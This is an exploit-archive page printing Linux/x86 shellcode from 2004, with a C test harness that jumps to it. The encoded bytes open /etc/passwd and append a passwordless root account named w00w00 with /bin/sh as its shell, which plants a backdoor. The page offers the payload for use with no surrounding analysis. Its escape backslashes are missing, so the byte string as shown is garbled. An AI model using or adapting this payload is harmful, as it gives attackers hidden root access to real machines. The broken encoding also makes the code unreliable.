[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 add user 104 bytes
# Published : 2004-09-12
# Author : Matt Conover
# Previous Title : linux/x86 add user t00r 82 bytes
# Next Title : linux/SPARC connect back 216 bytes


/* 
 * Source to this is pass.s
 * This will append a root line to the passwd file (see the source).
 *
 * Shok (Matt Conover), shok@dataforce.net
 */

char shellcode[]=
  "xebx03x5fxebx05xe8xf8xffxffxffx31xdbxb3x35x01xfb"
  "x30xc0x88x43x0bx31xc9x66xb9x41x04x31xd2x66xbaxa4"
  "x01x31xc0xb0x05xcdx80x89xc3x31xc9xb1x41x01xf9x31"
  "xd2xb2x1fx31xc0xb0x04xcdx80x31xc0xb0x01xcdx80x2f"
  "x65x74x63x2fx70x61x73x73x77x64x01x77x30x30x77x30"
  "x30x3ax3ax30x3ax30x3ax77x30x77x30x77x21x3ax2fx3a"
  "x2fx62x69x6ex2fx73x68x0a";

void main()
{

  int *ret;
  
  printf("w00w00!n");
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}

// www.Syue.com [2004-09-12]